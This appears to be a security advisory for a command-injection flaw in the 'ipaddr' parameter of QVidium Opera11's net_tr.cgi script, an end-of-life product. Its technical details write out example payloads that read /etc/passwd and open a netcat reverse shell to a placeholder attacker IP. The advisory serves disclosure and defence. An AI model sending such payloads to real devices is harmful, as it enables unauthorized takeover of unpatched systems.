Description

A vulnerability was determined in QVidium Opera11 3.3.2a26-Ax4x-opera11. This affects an unknown part of the file /cgi-bin/net_tr.cgi of the component CGI Script. This manipulation of the argument ipaddr causes command injection. The attack may be initiated remotely. The exploit has been publicly disclosed and may be utilized. The vendor explains: "QVidium has now closed its doors and no longer will be able to sell products or provide support." This vulnerability only affects products that are no longer supported by the maintainer.

Executive Summary

Technical Details

Mitigations

References

Additional Metadata

{
  "score": "10.0",
  "pubDate": "2026-08-31T23:16:35.460Z",
  "pubdate": "2026-08-31T23:16:35.460Z",
  "executiveSummary": "A critical command injection vulnerability exists within the QVidium Opera11 3.3.2a26-Ax4x-opera11 product, specifically residing in the /cgi-bin/net_tr.cgi CGI script.\nThe vulnerability allows a remote, unauthenticated attacker to execute arbitrary system commands with the privileges of the web server process by manipulating the 'ipaddr' argument.\nGiven that QVidium has ceased operations and officially discontinued support for this product, no security patches or firmware updates will be released to remediate this issue.\nThe risk is severe as it permits full system compromise, data exfiltration, and potential integration of the device into a botnet.\nExploitation is trivial and publicly disclosed, requiring only network access to the target device's web interface.",
  "technicalDetails": "The root cause of this vulnerability is improper neutralization of special elements used in an OS command (CWE-78) within the /cgi-bin/net_tr.cgi component.\nThe application processes the 'ipaddr' argument passed to the CGI script without sufficient validation or sanitization before passing it to a system-level shell interface.\nAn attacker can exploit this by injecting shell metacharacters—such as semicolons (;), pipes (|), or backticks (`)—into the 'ipaddr' parameter string to terminate the legitimate command and execute arbitrary malicious commands.\nFor instance, a crafted HTTP GET or POST request targeting /cgi-bin/net_tr.cgi?ipaddr=[malicious_payload] allows the injection of system commands. When the script executes, the shell interprets the payload as part of the command line, resulting in execution at the user privilege level of the web server (typically root or a dedicated service account).\nThe attack flow follows these steps: 1) The attacker identifies the target network-accessible device; 2) The attacker crafts an HTTP request targeting the vulnerable CGI script; 3) The 'ipaddr' parameter is populated with a payload, such as '; cat /etc/passwd #' or '; nc -e /bin/sh [attacker_ip] [port] #'; 4) The server-side script executes the payload; 5) The attacker receives a reverse shell or the intended output of the injected command.\nThis vulnerability is remotely exploitable and does not require pre-existing authentication, making it a high-risk vector for unauthorized access and persistent system compromise.\nSince the product is end-of-life (EOL) and the vendor is no longer in business, there is no path for official remediation, leaving legacy deployments perpetually vulnerable to this exploit."
}